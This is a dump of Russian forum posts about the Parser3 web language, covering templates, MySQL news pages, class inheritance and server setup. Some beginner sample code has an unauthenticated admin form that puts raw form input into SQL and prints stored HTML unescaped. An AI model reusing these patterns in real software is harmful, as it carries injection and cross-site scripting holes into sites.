<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> \
\
\
@header[] \
<html> \
<head> \
<titleТестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#ffffff\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br> \
\
\
\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[] \
      </td> \
   </tr> \
</table> \
<br> \
[/code]\
\
/index.html  корневой\
[code]\
@greeting[] \
контакты\
\
@body_additional[] \
главная\
\
@body_main[] \
осн содерж \
\
@footer[] \
контакты\
[/code]\
\
/section.cfg\
[code]\
section_id	name	uri\
1	главная	/\
2	новости	/news/\
3	контакты	/contacts/\
4	цены	/prise/\
5	админ	/admin/\
[/code]\
\
\
/admin/index.html\
[code]\
@greeting[] \
Администрирование новостей \
\
@body_additional[] \
Добавление новостей\
\
@body_main[] \
$now[^date::now[]] \
\
<center> \
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
#начало обработки\
^if(def $form:date && def $form:header && def $form:body){ \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (date, header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
      …добавленно\
      } \
}{ \
   …заполни все поля\
} \
</center> \
[/code]\
\
\
В /news/\
\
/news/auto.p\
[code]\
@calendar[] \
$calendar_locale[ \
   $.month_names[ \
         $.1[Январь] \
         $.2[Февраль] \
         $.3[Март] \
         $.4[Апрель] \
         $.5[Май] \
         $.6[Июнь] \
         $.7[Июль] \
         $.8[Август] \
         $.9[Сентябрь] \
         $.10[Октябрь] \
         $.11[Ноябрь] \
         $.12[Декабрь] \
   ] \
   $.day_names[ \
         $.0[пн] \
         $.1[вт] \
         $.2[ср] \
         $.3[чт] \
         $.4[пт] \
         $.5[сб] \
         $.6[вс] \
   ] \
   $.day_colors[ \
         $.0[#000000] \
         $.1[#000000] \
         $.2[#000000] \
         $.3[#000000] \
         $.4[#000000] \
         $.5[#800000] \
         $.6[#800000] \
   ] \
] \
$now[^date::now[]] \
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr> \
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$calendar_locale.month_names.[$now.month]</b> \
      </td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <a href=\"/news/?day=$days.$week_day\">$days.$week_day</a> \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center> \
[/code]\
\
/news/index.html\
[code]\
@greeting[] \
Страница новостей,  заходите чаще! \
\
@body_additional[] \
<center>Архив новостей за текущий месяц<center> \
<br> \
^calendar[] \
\
@body_main[] \
<b><h1>НОВОСТИ</h1></b> \
$day(^if(def $form:day){ \
   $form:day \
}{ \
   $now.day \
}) \
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   where \
      date='${now.year}-${now.month}-$day' \
   }] \
   ^if($news){ \
      ^news.menu{ \
         <b>$news.date - $news.header</b><br> \
         ^untaint{$news.body}<br> \
      }[<br>] \
   }{ \
      За указанный период новостей не найдено\
   } \
} \
[/code]\
\
\
Так вот такого эффекта как у тебя я смог добится если:\
1. удалил все из файла /news/index.html (т.е. он пуст)\
2. удалил все из /news/auto.p\
3. всё из /news/auto.p (т.е. @calendar[]) переместил в /auto.p(т.е. добавил в файл).\
\
Во всех этих случаях я плучал пустую страницу:\
[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML><HEAD>\
<META http-equiv=Content-Type content=\"text/html; charset=utf-8\"></HEAD>\
<BODY></BODY></HTML>\
[/code]\
\
Твой случай скорее всего 3-й."
"18672","1. postprocess в приведенном виде - ЗЛО. посмотрите сколько вы сэкономите байтиков (парсер автоматически делает оптимизацию).\
\
2. совершенно не ясно, зачем описывать конфигурационный auto.p и зачем в него класть КОД. это - [b]конфигурационный[/b] файл, в нем рекомендуется определять кодировки, строки подключения, методы по фатальной обработки ошибок, но не код...\
\
3. термины... \"Класс @main[] - это основной класс\". @main[] - это МЕТОД, или в вашей терминологии - процедура, но никак не класс (хотя учитывая тот факт, что в документации парсера это называется \"метод\", наверное стоит придерживаться такой-же терминологии). из-за подобных вещей читать обяснение невозможно. читать приходится код. также мне кажется, что комментарии не должны нести смысл документации и ликбеза: в них стоит писать то, что относится к коду (что делает этот код, а не разжевывать синтаксис/цитировать ФАК).\
\
4. rusage-у место в постпроцессе...\
\
5. ^if(-f \"/html/classes/class_navigat.p\"){} - не понятно зачем.\
есть переменная CLASS_PATH. расположите все в ней и не работайте с путями в таком виде. к тому-же классы лучше распологать вне веб пространства, в этом случае даже если кто-то забудет/снесет ограничение доступа в данный каталог, ничего страшного не произойдет, с веба никто не придет.\
\
6. [code]\
^switch[$navigat_table.align]{\
^case[1]{top}\
^case[2]{left}\
^case[3]{center}\
^case[4]{right}\
^case[5]{bottom}\
}\
[/code]\
- попробуйте использовать вместо этого хеши. уверен, вам понравится. как? есть документация. код будет красивее и понятнее...\
\
7. ...UPDATE menu_item SET align = '$form:navigat_align'...\
сколько раз об одном и том-же: -> SET align = ^form:navigat_align.int(0) и т.д. это - числа!\
\
8."
"18673","В документации сказано, что нужно обращаться в Настройки, а там ничего об этом не сказано."
"18674","То, что было нужно :)"
"18676","На самом деле я и не переопределяю [b]^show_page[][/b], в производном классе у меня другой метод ([b]^show_ready_page[][/b]).\
\
Похоже, что парсер просто не позволяет делать такое наследование.\
\
Похожий трюк проходит, когда переопределяемые методы находятся в классе MAIN, но я не хочу собирать страницу в его контексте  и делать полями MAIN не нужные там данные (например количество новостных страниц, итп), там и так всего куча.\
\
Если вы поняли чего я хочу добиться, может можно это просто сделать по-другому, че-то я не очень соображу.\
\
(Есть страницы, на них содержание генерируется самым различным способом, некоторые шаблоны подходят к нескольким страницам и я хочу их наследовать, переопределяя только специфичные методы страницы.)\
\
------\
PS: [b]Для тех кто в танке:[/b] Страницы реально не существует, никакой auto.p тут не прокатит."
"18677","Я так делаю и не тужу (если интересно смотрите мои исходники, - клас page и его потомки). Похоже что вы где-то что-то недопонимаете."
"18678","hints: чем NN7 Отличается от Mozz? и где я писал про то, что не нужно поддерживать Mozz?"
"18679","В главном конфиге (авто.п, который рядом с самим парсером лежит :) \
есть параметр $mail[]. под виндой -надо показать смтп сервер, под линухом - путь к сендмейлу."
"18680","Почитал Ваши опусы, откровенно говоря понятно далеко не все :)\
Поэтому как более опытных \"парсеров\" хочу спросить будет ли работать следующая схема:\
\
\\xsl		- стили форматирования данных\
-\\public	- стили страниц (состоят из \\modul)\
-\\modul         - xsl отдельных модулей страницы\
-\\printer	- xsl версии для печати\
\\xml		- данные по разделам\
-\\раздел1\
-\\раздел2\
\\parser		- файлы Parser-а по разделам\
-\\раздел1\
-\\раздел2\
\
в MySQL 4 таблицы:\
.page\
id\
id_parent - id родителя\
name - название страницы\
content - путь к xml\
template - путь к xsl\
url - url страницы\
\
.group\
id\
name\
\
.permission\
id_page\
id_group\
type\
\
.user\
id\
login\
fio\
ip\
id_group\
\
Т.е. в \\parser лежат .html, которые смотрят в базу (MySQL), проверяют можно ли этому пользователю смотреть эту страницу, берут нужный xml, обрабатывают его в соответствии с нужным xsl и выдают пользователю.\
\
На правильном ли я пути ?\
Мб есть что-то что принципиально неправильно ?\
Заранее благодарен за любую конструктивную критику."
"18681","Вот и я так думал, что позволяет :)\
Ну просто должен был позволять :)\
\
В чем дело было:\
\
1) Я не создавал экземпляр класса, вызывал метод [b]^show_page[][/b] статически. Оказывается при таком вызове нельзя переопределить методы родителя. (кто любит класы, запомните это!)\
\
2) Я сделал фиктивный конструктор и все заработало :)\
\
Спасибо, EGR, пример то что надо.\
А может вы мне еще поясните, почему статически не переопределяются методы предка? Возможно это также лаконично, как и весь парсер, но я че-то логики еще не понял."
"18682","В каком месте этого файла (или внутри чего) нужно прописать путь?"
"18683","время от раза к разу бывает разное: самоменяющееся поле некрасиво.\
оставалось выбрать между конструктором и методом.\
\
конструктор выглядит изящнее в том смысле, что после создания объекта (времени) мы его можем подвинуть…\
\
\
во многих языках есть понятие «свойство», это псевдо-поля, ассоциированные на реальные поля/методы.\
\
можно и у нас сделать, тогда можно бы сделать и статическим свойством. однако мне не представляется это актуальным."
"18684","нехорошо.\
попробуйте или уговорить его на shell доступ (ssh/telnet), или попросите собрать его вам необходимый вам для работы parser."
"18685","[quote]\
Динамический метод - код выполняется в контексте объекта (экземпляра класса). \
\
Статический метод - код выполняется в контексте самого класса, то есть метод работает не с конкретным объектом класса, а со всем классом (например, классы MAIN, math, mail)\
[/quote]\
В случае статического вызова переопределение методов род. класса бессмысленно. Короче иерархия классов работает только при создании объектов и это правильно."
"18686","http://www.parser.ru/docs/lang/parserconfmethod.htm"
"18688","Вот вам и вот"
"18689","Просто кроме как в Парсере, я еще такой штуки, как статический вызов не встречал, но теперь то уж я этого зверя раскусил.\
\
В принципе логично, что если у класса есть предок, то его методы видны (так и есть), и в принципе (я думал), что их можно было переопределять (плиморфизма при статическом вызове -- нет).\
\
Вот и вся любовь."
"18690","и если [b]очень[/b] хочется, и его можно достать:\
[code]\
$таблица.[count(*)]\
[/code]\
\
;)"
"18692","Есть такая вещь:\
^connect[$connect_string]{ \
   $news[^table::sql{select \
       date, header, body  \
   from \
      news  \
   ORDER BY `ID` DESC\
   }]\
   ^if($news){ \
      ^news.menu{ \
         <h2><b>$news.header</b></h2>^untaint{$news.body}<p><i>$news.date</i>\
      }[<br>] \
   }{ \
      Вешайтесь! Новостей нет.\
   } \
}\
\
Куда тут то ^news.offset[set](1) вставить? Пробовал. Или ничего не происходит, или ошибка."
"18694","http://www.parser.ru/forum/?id=18692"
"18695","Почитайте что же все-таки делает ^table.menu. А вам надо вывести всего одну запись! И в документации подробно описано как это сделать..."
"18696","Подскажите, мне необходимо хранить некоторые настройки своего сайта в глобальных переменных. На время всего сеанса посещения сайта. Я это смог реализовать только при помощи записи/чтения cookie. Но дело в том, что если ползунок cookie перетащить вверхнее положение сайт перестает работать. Как мне с этим бороться, в переменных обьявленных в корневом ауто.п данные теряются при переходе к очередной страницы сайта."
"18697","1. Для каждого посетителя создаете индивидуальный идентификатор сессии [как его сгенерить обсуждалось в форуме].\
2. Создаете на сервере файл [или запись в БД] в который в процессе работы пишете свои переменные.\
3. Во все локальные УРЛы сайта добавляете параметр uid=[ваш номер]. Считываете через $form:uid."
"18698",":) Ну это я понял. Хотя не все, если приписать LIMIT. Насчет ^table.menu. ok. поищу. ..."
"18699","У меня в общем есть хтмл страница в которой вставлен класс form то есть ^form[], класс вывода сообщений и класс добавления сообщений через эту форму в текстовую базу, вставлено у меня таким образом\
[code]^view[]\
^form[]\
^addprog[][/code]\
\
[code]@addprog[]\
$db[^table::load[msg.cfg]]\
^db.append[$form:name   $form:text]\
^db.save[msg.cfg]\
[/code]\
\
Но при обновлении страницы у меня добавляется пустое сообщение, надо в классе addprog каким-то образом сделать так, чтобы сообщения добавлялись через post.\
\
С уважением Георгий Троковец"
"18700","То я вообще не понимаю зачем для довавления сообщений использовать метод GET\
\
Поменяйте его на POST - все будет также работать.\
\
И можно сделать проверку перед записью сообщения, чтобы не писалось два или больше одинаковых сообщений (как на этом форуме)\
некий тайм-аут для идентичных постов...\
Для этого конечно понадобиться ещё сравнивать и время записи..."
"18701",">Если ты досихпор недопетрил\
>^connect[$config.mysql_connect]{\
>$news[^table::sql{SELECT * FROM `news` ORDER BY `data` DESC}]\
>}\
>^news.offset[set](1) \
>Вот теперь вызываю $news.тыры_мыры , будем получать данные >нужной нам, предпоследней новости.\
\
Ненада некаких ^news.menu оно т.е. меню поочереди делает то что написано в {} с каждой строчкой таблицы невс. Если тебе нада написать только предпоследнию новость то ты! пишишь так\
\
# это твой код\
^news.menu{ \
<h2><b>$news.header</b></h2>^untaint{$news.body}<p><i>$news.date</i>\
}[<br>] \
\
# а ета как нада....нахрен сносим меню\
^connect[$connect_string]{ \
$news[^table::sql{select \
date, header, body \
from \
news \
ORDER BY `ID` DESC\
}]\
^news.offset[set](1)\
<h2><b>$news.header</b></h2>^untaint{$news.body}<p><i>$news.date</i>"
"18702","сделать так:\
[code]\
^connect[$connect_string]{\
   $newsCount[^int:sql{select count(*) from news}[$.default{0}]]\
   $news[^table::sql{\
     select date, header, body\
       from news\
   ORDER BY `ID` ASC\
   }[$.limit(1) $.offset($newsCount-2)]]\
\
<h2><b>$news.header</b></h2>^untaint{$news.body}<p><i>$news.date</i>\
[/code]\
\
Новостей ведь может быть очень много..."
"18703","он пишет потому что формы пусты.\
их надо проверить.\
[code]\
^view[]\
^form[]\
^addprog[]\
\
@addprog[]\
$db[^table::load[msg.cfg]]\
^if(def $form:name and def $form:text){\
	^db.append[$form:name   $form:text]\
	^db.save[msg.cfg]\
}{пустые строки не пишем}\
[/code]"
"18705","Будет ли работать следующая схема:\
\
Структура каталогов:\
\\xsl - стили форматирования данных\
-\\public - стили страниц (состоят из \\modul)\
-\\modul - xsl отдельных модулей страницы\
-\\printer - xsl версии для печати\
\\xml - данные по разделам\
-\\раздел1\
-\\раздел2\
\\parser - файлы Parser-а по разделам\
-\\раздел1\
-\\раздел2\
\
Таблицы в MySQL:\
* page *\
id\
id_parent - id родителя\
name - название страницы\
content - путь к xml\
template - путь к xsl\
url - url страницы\
\
* group *\
id\
name\
\
* permission *\
id_page\
id_group\
type\
\
* user *\
id\
login\
fio\
ip\
id_group\
\
Т.е. в \\parser лежат .html, которые смотрят в базу (MySQL), проверяют можно ли этому пользователю смотреть эту страницу, берут нужный xml, обрабатывают его в соответствии с нужным xsl и выдают пользователю.\
\
На правильном ли я пути ?\
Мб есть что-то что принципиально неправильное ?\
Заранее благодарен за любую конструктивную критику."
"18706","При обращении к адресу\
http://имя-домена.com/scgi-bin/parser3/parser3.cgi\
где у меня лежат файлы:\
parser3.cgi\
index.html\
auto.p\
и папки:\
charset\
lib\
в браузере вижу вот такое:\
\
DOCUMENT_ROOT=/home/некий-логин/public_html\
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\
HTTP_ACCEPT_ENCODING=gzip, deflate\
HTTP_ACCEPT_LANGUAGE=en-us,ru;q=0.5\
HTTP_CONNECTION=Keep-Alive\
HTTP_HOST=имя-моего-домена\
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\
PATH=/usr/local/jdk/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/usr/X11R6/bin\
REMOTE_ADDR=64.171.255.231\
REMOTE_PORT=4934\
SCRIPT_FILENAME=/home/всё-тот-же-логин/public_html/scgi-bin/parser3/parser3.cgi\
SERVER_ADDR=209.197.248.180\
SERVER_ADMIN=webmaster@домен.com\
SERVER_NAME=домен.com\
SERVER_PORT=80\
SERVER_SIGNATURE=Apache/1.3.27 Server at домен.com Port 80\
\
SERVER_SOFTWARE=Apache/1.3.27 (Unix) mod_gzip/1.3.19.1a PHP/4.3.3RC2-dev mod_log_bytes/1.2 mod_bwlimited/1.0 FrontPage/5.0.2.2510 mod_ssl/2.8.14 OpenSSL/0.9.6j\
GATEWAY_INTERFACE=CGI/1.1\
SERVER_PROTOCOL=HTTP/1.1\
REQUEST_METHOD=GET\
QUERY_STRING=\
REQUEST_URI=/scgi-bin/parser3/parser3.cgi\
SCRIPT_NAME=/scgi-bin/parser3/parser3.cgi\
PATH_INFO=/parser3/parser3.cgi\
PATH_TRANSLATED=/home/логин/public_html/scgi-bin/parser3/parser3.cgi\
\
Провайдер утверждает, что не понимает, работает ли парсер, но считает, что он точно запускается.\
\
Подскажите где что подкрутить, или хотя бы о чём конкретном спросить провайдера."
"18707","Миша, конечно не сюда, но как в базе коктейлей добавлять наличие компонентов?"
"18708","еще раз читать FAQ по установке\
ИМХО не надо тебе ложить parser3.cgi в отдельную папку\
и index.html надо вынести в папку www/\
вообщем тут надо тебе ВНИМАТЕЛЬНО прочесть требования твоего прова к установке CGI на серверах и надо еще раз прочесть внимательно доки по установке"
"18709","Очень сильно похоже на результат выполнения тестового скрипта printenv.pl ."
"18710","Это не мой index.html и auto.p -- это то, что было в каких-то установочных архивах.\
\
Переложил один только файл parser3.cgi в папку scgi-bin (т.е., на уровень выше, чем он лежал). Переписал строчку в .htaccess на вот такую:\
Action parsed-html /scgi-bin/parser3.cgi\
-- это то, где теперь лежит скрипт.\
Результат при вводе в браузер адреса http://домен.com/scgi-bin/parser3.cgi -- тот же.\
\
Куда ещё смотреть?\
У кого-нибудь это работает?"
"18711","незачем хранить информацию в ФАЙЛАХ, БД с этим справится отлично + даст кучу возможностей.\
Всю инфу вы можете хранить в БД в ЛЮБОМ виде, в т.ч. и XML."
"18712","Судя по полю из переменного окружения SCRIPT_FILENAME, запускается не Parser, а вот этот сценарий - /usr/local/cpanel/cgi-sys/scgiwrap он и выводит всю эту информация из переменного окружения, нахрена... Наверно этот сценарий у них установлен как обработчик ошибок. Но он не выдаёт номер ошибки, это усложняет настройку, вдруг ты не правильно установил права, да и только.\
\
# тут всё чики...\
REQUEST_URI=/scgi-bin/parser3.cgi\
# а это вообще фигня, Apache думает что /scgi-bin это скрипт\
SCRIPT_NAME=/scgi-bin\
# а /parser3.cgi это информационный путь, ерунда...\
PATH_INFO=/parser3.cgi"
"18713","незачем хранить информацию в ФАЙЛАХ, БД с этим справится отлично + даст кучу возможностей.\
Всю инфу вы можете хранить в БД в ЛЮБОМ виде, в т.ч. и XML."
"18714","Уже разрешили переложить в cgi-bin, и назначили юзеру и группе права исполнять скрипты.\
Теперь выдаётся 500-я ошибка (The server encountered an internal error or misconfiguration and was unable to complete your request.) и на прямое обращение к parser3.cgi, и на лежащий в корне _test.html (тот же, что parser.ru/_test.html)."
"18716","Разговоры про 500-ю ошибку?"
"18718","Я не знаю какая у Вас платформа, но судя по первому посту Windows NT 5.0, то есть Windows 2000 или Unix. Перечитайте в разделе скачать инструкцию по установке на свою платформу, сервер Apache(судя по всему у Вас Apache/1.3.27).\
Посмотрите может у Вас не выполняются .htaccess файлы.\
А чтоб проверить работает Парсер или нет скачайте тестовый файл\
\
См. линк:\
[url=\"http://www.parser.ru/download/utils/test.zip\"]http://www.parser.ru/download/utils/test.zip[/url]\
\
положите его в корень веб-сервера, и обратитесь к нему."
"18719","В предпоследнем вопросе/ответе на этой странице сказано:\
\
Чтобы проверить, обрабатывется ли у вас .htaccess — впишите в него какую-нибудь заведомо неверную инструкцию, например «mytest», в самое начало. Если при релоаде страницы вы не увидите 500 ошибку (она обязательно появится если все настроено верно) — значит данный файл у вас не обрабатывается. \
\
Но у меня-то 500-я ошибка возникает и без этого mytest-а.\
Вот буквально что у меня написано в .htaccess-е:\
---------\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
CharsetDisable On\
---------\
\
Самую последнюю строку пробовал убирать -- результат одинаковый -- 500-я ошибка.\
\
Или Вы на той же странице faq/install видите что-то ещё, чего я не замечаю?"
"18720","Понятно, дело у тебя до этого была ошибка 500 (радоваться нечему). Строку CharsetDisable On уберите, у вас обычный Apache стоит. Вообще надо было обратить внимание на пятый вопрос с верху.\
\
Я устанавливаю так:\
\
1.	Закачиваю на сервер Parser, проверяю запускается ли Parser,  если возникает ошибка не 500 а скажем 403, то значит я не правильно установил права на файл или директорию. Ну я если 500 тут может быть много причин, я мог не установить права на запуск, или закачать в текстовом формате, или же мне вообще нельзя запускать CGI программы, а только сценарии.\
2.	Когда Parser проверил и всё привёл в порядок, настраиваю Apache (.htacsess) чтобы Parser обрабатывал HTML файлы, если опять ошибки, значит уже виноваты .htacsess.\
3.	Ну а когда всё это уже настроено, перехожу к настройке самого Parser’а с помощью _test.html файла.\
\
Вот так в три этапа за минут 10 без проблем можно установить Parser."
"18721","Использую последнюю версию парсера для FreeBSD.\
пишу:\
\
$key[^file::load[text;http://www.somewhere.com/keygen.asp?bla-bla=bla]]\
\
получаю http.status: invalid HTTP response status (response 400)\
\
(см. www.mynotescenter.ru/order.htm)\
\
при дальшейших раскопках выясняется, что парсер делает запрос, не разделяя строки не CRLF, а CR или LF (точно не выяснил).\
\
Как лечить? как заставить парсер выдавать правильный запрос???"
"18723","1. В главном авто.п прописан путь до сендмейла:\
    $mail[/usr/sbin/sendmail -i -t -f postmaster]\
\
2. путь до сендмейла действительно /usr/sbin/sendmail\
    но: парсер выдает ошибку:\
    'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
\
3. когда убираешь из главного конфига переменную $mail... ошибки не возникает, но и письмо не отправляется"
"18724","Как вот работать с сабжем?"
"18725","Не выводится описание из файла! :-(\
---\
Делаю сайт галерею на двух языках (Parser и PHP). И дошел до точки, не могу вставить в код страницы – описание картинки, которое лежит в отдельном файле. С парсером справился и навигация на нем пока работает. Но вот PHP...\
Пример: \
images/моя_фотка.jpg (там лежат все картинки)\
images_mini/моя_фотка.jpg (та-же картинка, но маленькая, для привью)\
Кладу описание в папку images/ моя_фотка.jpg.txt (в нем пишу – ЭТО МОЯ ФОТКА)\
\
Вот сам код:\
[code]\
<?\
echo \"Галерея  про меня! :-)\";\
chdir('images/');\
$handle=opendir('.');\
readdir($handle);\
readdir($handle);\
while (($file = readdir($handle))!==false){\
$size=(filesize($file)/100);\
\
// тут проблемное место\
$dat=\"$file.txt\";\
echo \"$dat\";\
// тут оно заканчивается\
\
echo \"\
<A HREF=images/$file><img src=images_mini/$file></A>\
[FileName: $file] [FileSize: $size Kb]\";\
}\
?>\
[/code]\
\
...вот..., при таком раскладе только имя файла указывается. Что делать, незнаю."
"18726","В документации об этом разве не написано? Даже один урок посвящён этому. Лень заглянуть в документацию?"
"18727","Что мешает тебе это написать полностью на Parser? (каша получится)\
\
Ты хочешь чтобы PHP сам не ведомым способом догадался что в эту переменную ($dat) надо скинуть текст из файла.\
\
[code]$dat=\"$file.txt\";[/code]"
"18728","[url=./?id=18627]я говорю обо всех NN (-), Serge I. Zolotukhin [17.07 12:32][/url]\
На этом флейм можно закончить... ;-)"
"18729","Скачал \"Джентельменский набор програмера\", эмулирующий у тебя на машине сервер Apache. Пытаюсь использовать парсер, но у меня не получается - реализую самый первый пример с меню, но парсер вместо ^navigation [] отказывается подставить нужный код. Помогите может я файлы auto.p и sections.cfg не туда выкладываю..."
"18730","В корневом каталоге тестируемого сайта создай файл .htaccess\
В самом файле:\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p,.cfg-файлам. Основной: auto.p \
<Files ~ \"\\.(p|cfg)\"> \
  Order allow,deny \
  Deny from all \
</Files>"
"18731","Опять Я. Подскажите кто может:\
1. Как организовать таблицу на парсере, что бы в ней было N строк, и при добавлении новой строки 1-я вылетала, чтобы N неменялась.\
2. Как в определенной строке по определенному столбцу менять значение таблицы, или хотя бы замещять определенную строку, есть ли специальный метод для этого?"
"18732","а IE не ставит запятую, потому что MSXML3 по дефолту зачищает узлы из пробельных символов."
"18733","Я сделал поисковник по сайту, так же хочу организовать возможность добавлять искомый текст в строку запроса поисковников (Яндекс, рамблер, .. и.д.)\
Вот пример кода:\
...\
<form method=post>\
...\
<select name=\"where\" size=\"1\">\
 <option value=\"onsite\" selected>На сайте</option>\
 <option value=\"http://www.yandex.ru/yandsearch?text\"> Яндекс </option>\
 <option value=\"http://search.rambler.ru/cgi-bin/rambler_search?words\"> Rambler </option>\
...\
</select>\
\
...\
^if($wheresearsh ne onsite){ #Если не на сайте\
$response:location[${wheresearsh}=^taint[uri][$searshtext]]\
\
}{\
 #Если на сайте.\
...\
}  \
\
Так вот, на сайте все ищет как надо, а если выбрать другой поисковник то выдается: HTTP Ошибка 403 - Запрещено \
Internet Explorer, что еще надо то..."
"18734","1. [code]\
   $tab[^tab.select(^tab.line[]<>1)]\
   ^tab.append{...то, что нужно добавить...}\
[/code]\
\
2. Изменить в существующей таблице значения не возможно. Решение: собственный макрос который с помощью menu пробегает исходную таблицу и генерит новую с необходимыми изменениями..."
"18735","http://www.dklab.ru/chicken/nablas/17.html"
"18736","А как сделать редирект на парсере?"
"18738","Итаа-а-а-к, установлен \"Джентельменский набор Денвер\", в папке Z:\\home\\bashedu.ru\\www лежат файлы .htaccess, auto.p, sections.cfg и index.html ( в нем написано ^navigation[]). Нифига не работает. В смысле internet explorer упорно выводит лишь ^navigation[]. Не знаю что и делать... Или я сошел с ума, или одно из двух. Вообщем обьясните поподробнее, пожалуйста, как все делать, что откуда качать и где чего писать чтобы я мог видеть результаты работы Парсера на моей машине. Пожалуйста."
"18739","возникла необходимость сделать независимое от самого xml трансформирование. А именно например из \
[code]\
<?xml version=\"1.0\"?>\
<booklist>\
   <item id=\"005\">      \
      <category>scripting</category>\
      <release_date>1998-04-21</release_date>\
      <title>instant javascript</title>\
      <price>$49.34</price>\
   </item>\
   <item id=\"407\">      \
      <category  attr=\"some atr\">asp</category>\
      <release_date>1998-05-10</release_date>\
      <title>instant active server pages</title>\
      <price>$23.45</price>\
   </item>\
   <item id=\"059\">      \
      <category>html</category>\
      <release_date>1998-03-07</release_date>\
      <title>instant html</title>\
      <price>$34.23</price>\
   </item>\
</booklist>\
[/code]\
\
получить в зависимости от id определенный item\
[code]\
<item id=\"059\">      \
      <category>html</category>\
      <release_date>1998-03-07</release_date>\
      <title>instant html</title>\
      <price>$34.23</price>\
</item>\
[/code]\
\
Причем про саму структуру дерева item мы ничего не знаем(и знать нам не надо), её нужно просто скопировать.\
\
Пробовал <xsl:copy/> но эта штука не копирует аттрибуты. Тут еще даже выбор по id не делал, хотел просто скопировать.\
[code]\
<?xml version=\"1.0\"?>\
\
<xsl:stylesheet xsl:version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
<xsl:output method=\"xml\"/>\
\
<xsl:template match=\"@*|node()\">\
\
	<xsl:copy>\
		<xsl:apply-templates/>\
	</xsl:copy>\
\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
РЕЗУЛЬТАТ:\
[code]\
<booklist>\
<item> \
 <category>scripting</category>\
 <release_date>1998-04-21</release_date>\
 <title>instant javascript</title>\
 <price>$49.34</price>\
</item>\
<item> \
 <category>asp</category>\
 <release_date>1998-05-10</release_date>\
 <title>instant active server pages</title>\
 <price>$23.45</price>\
</item>\
<item>\
 <category>html</category>\
 <release_date>1998-03-07</release_date>\
 <title>instant html</title>\
 <price>$34.23</price>\
</item>\
</booklist>\
[/code]\
\
Я тут подумал может через DOM как-нить сделать, но чето не сильно его пока освоил. Может кто разбирается в реализации DOM в parser'е.\
Если у кого есть какие соображения помогите."
"18740","Так вот имено\
$response:location[${wheresearsh} =^taint[uri][$searshtext]]\
$response:refresh[\
		$.value[0]\
		$.url[${wheresearsh} =^taint[uri][$searshtext]]\
]\
и вызывает ошибку 403, а как мне нужно правильно написать, чтобы этого небыло."
"18741","В \"Дэнвере\" есть проверка работоспособности...\
\
Зайди на http://localhost/\
\
Найди там \"Проверка системы Parser\"  (http://localhost/Test/parser3/index.html должно быть)\
\
Если там парсер у тебя правильно посчитает 2 + 2  и правильно будет работать с MySQL; XML и XSL...\
\
То значит что то у тебя с .htaccess... (вы можете так же взять нужный вариант .htaccess'а из \
\
Z:\\home\\localhost\\www\\Test\\parser3\\ \
\
\"Z\" - это виртуальный диск который ты выбрал при установке \"Денвера\")\
\
Вообщем напиши как прошла проверка parser3"
"18745","Что у вас находится в переменной $wheresearsh? В вашем коде нет места где Вы ее присваиваете... Есть подозрение, что Вы не разобрались как в Парсере с формами работать, да и с редиректами тоже... :)"
"18746","В @searshform[] после заполнения полей формы идет передача данных в @showsearsh[searshtext;wheresearsh]\
@searshform[]\
<form>\
...\
</form>\
